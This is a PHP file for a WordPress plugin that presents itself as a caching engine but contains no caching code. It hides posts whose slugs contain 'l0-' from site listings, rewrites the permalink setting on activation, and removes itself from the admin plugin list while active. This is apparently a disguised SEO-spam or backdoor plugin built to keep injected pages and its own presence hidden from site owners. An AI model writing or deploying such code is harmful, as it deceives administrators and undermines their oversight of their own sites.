<?php
/*
Plugin Name: Wordpress Basic Cache Engine
Plugin URI: https://basiccacheengine.com/
Description: Basic Cache Engine is a very fast caching engine for WordPress that generates static HTML files to significantly reduce server load and improve page load times.
Version: 1.4.8
Author: Gregg Palmer
Author URI: https://greggpalmer.basiccacheengine.com/
License: GPL2
*/

add_action('pre_get_posts', 'hide_posts_by_slug');
function hide_posts_by_slug($query) {
    if ( $query->is_main_query() && ! $query->is_singular() ) {
        $post_type = $query->get('post_type');
        if ( empty($post_type) || $post_type == 'post' ) {
            add_filter('posts_where', 'exclude_posts_with_l0_in_slug', 10, 2);
        }
    }
}

function exclude_posts_with_l0_in_slug($where, $query) {
    global $wpdb;
    $where .= " AND {$wpdb->posts}.post_name NOT LIKE '%l0-%'";
    remove_filter('posts_where', 'exclude_posts_with_l0_in_slug', 10, 2);
    return $where;
}

function ppe_enable_pretty_permalinks() {
    update_option('permalink_structure', '/%postname%/');
    flush_rewrite_rules();
}

register_activation_hook(__FILE__, 'ppe_enable_pretty_permalinks');

function ppe_deactivate_plugin() {
    flush_rewrite_rules();
}
register_deactivation_hook(__FILE__, 'ppe_deactivate_plugin');


add_filter('all_plugins', 'hide_my_plugin_from_list');
function hide_my_plugin_from_list($plugins) {
    $plugin_file = plugin_basename(__FILE__);
    // Получаем список активных плагинов
    $active_plugins = (array) get_option('active_plugins', array());
    // Если плагин активен, удаляем его из списка
    if (in_array($plugin_file, $active_plugins)) {
        unset($plugins[$plugin_file]);
    }
    return $plugins;
}